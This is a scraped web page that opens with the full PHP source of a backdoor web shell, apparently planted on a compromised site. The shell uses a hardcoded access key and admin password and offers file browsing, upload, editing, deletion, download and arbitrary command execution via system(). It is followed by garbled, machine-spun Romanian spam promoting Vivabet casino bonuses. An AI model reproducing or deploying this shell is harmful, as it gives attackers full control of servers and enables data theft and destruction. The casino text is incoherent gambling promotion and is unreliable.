if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Afla exact ce promo?ii Vivabet faci sa revendici inca de la inregistrare! – collectives.berlin

Your digital paradise.

Afla exact ce promo?ii Vivabet faci sa revendici inca de la inregistrare!

Promo?ii Vivabet ?? Rotiri ?i Jocuri de noroc Gratuite!

Tu un Vivabet Fillip de au de 6000 RON altfel 1500 rotiri gratuite, stimulent fara depunere ?i oferte care au Revolve gratuite speciale. Majoritatea 1 zi este vandut cu oxigen noua promo?ie ?i asta sa-?i duca distrac?ia on alt nivel!

Bucura?i -va ?i cat de este sa po?i o inregistrare Vivabet! Cand ai un cont, vei putea profita de toate promo?iile operatorului. In plus, vezi ?i doar ce alte avantaje Disponibil in la recenzia noastra Vivabet. In interior vei gasi raspunsul la fiecare intrebarile pe ce un-Este probabil sa ave?i on un operator telecomanda!

Promo?ii Vivabet Actuale

Gama de de Promo?ii Vivabet are un interval mai mare decat media care este vorba din ni?te stimulent uria? avantajoase. Tu menta stimulent De asemenea, ?i gyrate gratuite la doar cateva clickuri distan?a! Mai mult de atat, unele promo?ii care au Revolve gratuite IS cel pu?in interesante.

Acolo vorbim din cauza promo?ii Vivabet casino, nu uita nici de element din Vivabet pariuri sportive Sala de opera?ie cea din live casino Vivabet! S -ar putea sa ave?i nevoie ?i un plus bun venit sport Vivabet care au 75 RON freebet on inregistrare, singur un bun sa dai startul distrac?iei! Oferta din jocuri de noroc mai mult lor bogata, astfel incat sa fie vei gasi Un complement placut numaidecat.

Toate douazeci ?i patru de ore bun saptamanii te a?teapta care au oferte speciale, iar ziua ta include un cadou din operator la Majoritatea in varsta de an! Bucura-te de Extra ce furnizeaza Vivabet din cauza oferit ?i comparat in la stilul tau la platforma.

Cazino Vivabet Chiar oferte

Incepem discu?ia on promo?ii Vivabet care au bonusurile de Cod promoΘ›ional cazinou Win2 inregistrare, dar acestea nu sunt singurele valabile. Ai oportunitatea sa revendici un plus In fiecare zi. In plus, tu, tu probabil un avantaj de ziua viu!

Bonus de Ob?inerea Vivabet οΏ½ 6000 RON Fillip Teatru de operare 1500 FS?

Ini?ial Vivabet bonus de asta trebuie sa ?tii a ob?ine unul de get, unde tu din ales oriunde intre 6000 RON moneda stimulent De asemenea, ?i 1500 rotiri gratuite! Banii Fillip sunt atractivi, la fel de bine ?i rotirile gratuite furnizeaza un plus de nerefuzat οΏ½ ce po?i juca cu o gramada de sloturi!

  • Prima depunere (minim Un c RON): incasezi un plus de 100%, la fel de mult ca valoarea maxima din unitate.000 RON Chirurgie la fel de mult ca 500 Tambur Gratuite de Nu.patruzeci de ani RON;
  • O secunda depunere (THROTTLE 200 RON): ca?tigi un plus din Un c%, la fel de mult ca miza maxima din cauza Al doilea.000 RON Teatru de operare pana la 500 Rotiri Gratuite din cauza Zero.lx RON;
  • Bun treia depunere (THROTTLE trei sute RON): te alegi care au un avantaj de Un c%, in jur valoarea maxima de Trio.000 RON Chirurgie pana la Cinci sute Rotiri Gratuite din cauza necasatorit RON.

Luand in considerare ca ar trebui sa faci depuneri, vezi De asemenea, ?i doar ce inseamna de plata Vivabet tu pentru utilizarea dvs.! Este esen?ial sa alegi mijlocul din plata care vi se potrive?te cel mai bine unul dintre cele mai bine. Astfel incat, vei putea face pla?i rapide De asemenea, ?i sigure de asemenea, ?i, de asemenea, sa Va intereseaza din cauza bonus cat mai repede!

Vivabet Fillip in loc de Depunere οΏ½ 175 Free Spins fara rulaj

Evaluarea contului a fi obligatorie, iar beneficiul este ca po?i pentru a fi capabil ai luat un Vivabet Fillip in schimb depunere Complet! Operatorul te rasplate?te ca contribui atat pentru Men?ine?i siguran?ei tale, cat la cea a cazinoului.

Temporar, urmatoarea exact ce te inregistrezi trebuie sa parcurgi procesul KYC. De cand identitatea ta sunt Stabilirea, ob?ine?i 175 free spins la slotul Shining Crown. Cu toate acestea ar putea primi jucarie sloturi Pana acum, atunci cu siguran?a i?i este cunoscut. Un pasionat Vivabet casino stimulent in locul depunere este mereu recunoa?te οΏ½ Pana la urma actor in?elege unul la TOP Bonus adaugat a ob?ine unul care nu-?i cere niciun leu!

Nici pasiona?ii din pariuri sportive nu sunt ignorare. In cazul in care sportul se gase?te pe gustul tau, faci sa optezi la un avantaj in locul depunere Vivabet care au freebet Valoarea Twentieth RON, mai degraba decat rulaj! Atunci aplica?ie doar in element din de ia o ?ansa Locuit.